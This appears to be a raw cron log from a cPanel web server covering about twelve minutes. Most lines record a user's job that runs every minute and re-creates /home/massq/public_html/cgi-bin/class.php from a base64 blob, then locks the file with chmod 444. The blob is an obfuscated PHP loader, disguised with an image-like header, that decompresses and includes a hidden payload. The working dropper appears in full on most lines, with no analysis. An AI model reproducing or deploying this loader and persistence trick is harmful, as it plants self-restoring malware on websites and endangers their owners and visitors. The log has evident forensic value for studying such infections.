Nov  9 11:56:01 server CROND[21060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:57:01 server CROND[21823]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 11:57:01 server CROND[21824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:58:01 server CROND[22657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:59:01 server CROND[23484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:00:01 server CROND[24355]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 12:00:01 server CROND[24356]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov  9 12:00:01 server CROND[24362]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:00:01 server CROND[24359]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 12:00:01 server CROND[24361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:00:01 server CROND[24360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:01:01 server CROND[25199]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 12:01:01 server CROND[25200]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:01:01 server run-parts(/etc/cron.hourly)[25199]: starting 0anacron
Nov  9 12:01:01 server run-parts(/etc/cron.hourly)[25213]: finished 0anacron
Nov  9 12:02:01 server CROND[25687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:03:01 server CROND[26157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:04:01 server CROND[26715]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:05:01 server CROND[27451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:05:01 server CROND[27450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:05:01 server CROND[27453]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:05:01 server CROND[27452]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 12:06:01 server CROND[28361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:07:01 server CROND[29323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:08:01 server CROND[29616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
